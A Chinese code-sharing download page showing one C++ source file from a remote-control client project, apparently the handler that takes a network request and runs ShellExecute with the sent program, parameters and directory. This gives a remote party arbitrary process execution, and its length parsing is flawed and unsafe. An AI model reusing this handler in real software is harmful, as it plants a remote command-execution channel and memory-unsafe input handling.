⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 0x10.cpp

📁 远程控制 应用程序向导已为您创建了这个 RCAClient 应用程序。 此文件包含组成 RCAClient 应用程序 的每个文件的内容摘要。
💻 CPP
字号:

#include "stdafx.h"

extern HANDLE g_hExitEvent;

//////////////////////////////////////////////////////////////
//
// 通过调用 ShellExecute 函数创建一个进程
//
BOOL 
WINAPI 
RCAID_0X10_HANDLER(
	SOCKET					s, 
	RCAREQUESTHANDLEDATA *	pData, 
	RCAREQUESTHEADER *		pRCAHead, 
	HANDLE					hEventArray[2]
	)
{

	// 计算需要接收的总字节数
	int		c	= pRCAHead->requestBytes - sizeof( RCAREQUESTHEADER );
	char *	buf;
	int		ret;

	
	if( c <= 20 )
		return FALSE;

	buf = (char*)new char[c];
	
	if( buf == NULL )
		return TRUE;

	ret = RCARecv_EventSelectIO( s, hEventArray, buf, c );
	if( ret != c )
	{
		delete[] buf;
		return FALSE;
	}

	char *		p	= buf;
	DWORD		strLength;

	p = buf;

	HWND hWnd	= (HWND)(*p);

	p += 4;
	if( (p-buf) > c )
		goto request_end;

	char  *pOperation, *pFile, *pParam, *pDirectory;

	strLength = (DWORD)*p;
	
	if(  (DWORD)(*p) > 0 )
		pOperation	= p + 4;
	else
		pOperation = NULL;

	p += (4 + strLength);
	if( (p-buf) > c )
		goto request_end;

	strLength = (DWORD)*p;

	if( (DWORD)(*p) > 0 )
		pFile = p + 4;
	else
		pFile = NULL;

	p += (4 + strLength);
	if( (p-buf) > c )
		goto request_end;

	strLength = (DWORD)*p;

	if( (DWORD)(*p) > 0 )
		pParam	= p + 4;
	else
		pParam = NULL;
	
	p += (4 + strLength);
	if( (p-buf) > c )
		goto request_end;

	strLength = (DWORD)*p;
	if( (DWORD)(*p) > 0 )
		pDirectory  = p + 4;
	else
		pDirectory = NULL;

	p += (4 + strLength);
	if( (p-buf) > c )
		goto request_end;

	int	nShowCmd = (int)*p;

	ShellExecute( hWnd, pOperation, pFile, pParam, pDirectory, nShowCmd );

request_end:
	delete[] buf;
	return TRUE;
}


⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -